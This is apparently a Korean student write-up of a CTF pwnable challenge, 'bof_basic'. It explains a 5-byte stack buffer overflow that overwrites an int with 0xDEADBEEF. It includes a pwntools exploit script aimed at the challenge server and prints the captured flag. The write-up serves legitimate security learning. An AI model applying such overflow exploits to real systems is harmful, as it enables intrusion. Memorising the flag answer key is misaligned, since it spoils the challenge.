Layer7 과제/포너블
[포너블] basic pwn - bof_basic
kms0204
2022. 9. 14. 18:34
BOF를 이용해서 flag를 구해야하는 문제이다.
사용자로부터 문자열을 입력받고, 이때 발생하는 BOF를 이용해서 v5 변수의 값을 두번째 if문을 만족시키는 값으로
변조해야 한다. (0xDEADBEEF)
시나리오를 세우기에 앞서 분석을 해보면,
사용자로부터 최대 길이 45만큼의 문자열(최대 45바이트)을 입력받는다.
하지만 문자열이 저장되는 배열인 s의 크기는 40바이트이다.
따라서 5바이트만큼 v5에 BOF가 가능하다.
v5는 int형 변수이기 때문에, 5바이트 BOF를 통해서 충분히 값을 변조할 수 있다.
이를 바탕으로 시나리오를 세우면,
'40칸을 채운다 > 0xDEADBEEF를 추가로 채운다.
이를 코드로 구현하면 다음과 같다.
from pwn import *
p = remote('pwn.scalart.me', 8001)
pay = b"A" * 40
pay += p32(0xDEADBEEF)
p.send(pay)
p.interactive()
우선 문제파일이 있는 서버와 익스플로잇 코드를 연결해야 되기 때문에 remote()를 이용해서 연결한다.
그리고 payload를 보내야 하는데, 바이트코드로 보내야 한다.
따라서 'A'를 바이트코드로 변환한 값을 40번 반복하고, 마지막에 p32()를 이용해서 0xDEADBEEF를 강제로 4바이트 크기에 맞춰서 리틀 엔디안(little endian) 방식으로 변환한 값을 덧붙였다.
그리고 마지막에 사용자가 입출력할 수 있도록 interactive()를 호출했다.
실행결과는 다음과 같다.
마지막으로 cd home/bof_basic, cat flag를 이용해서 flag를 구할 수 있다.
flag = L7{e870ec68e53cd9b0e3c63c5405ac3923}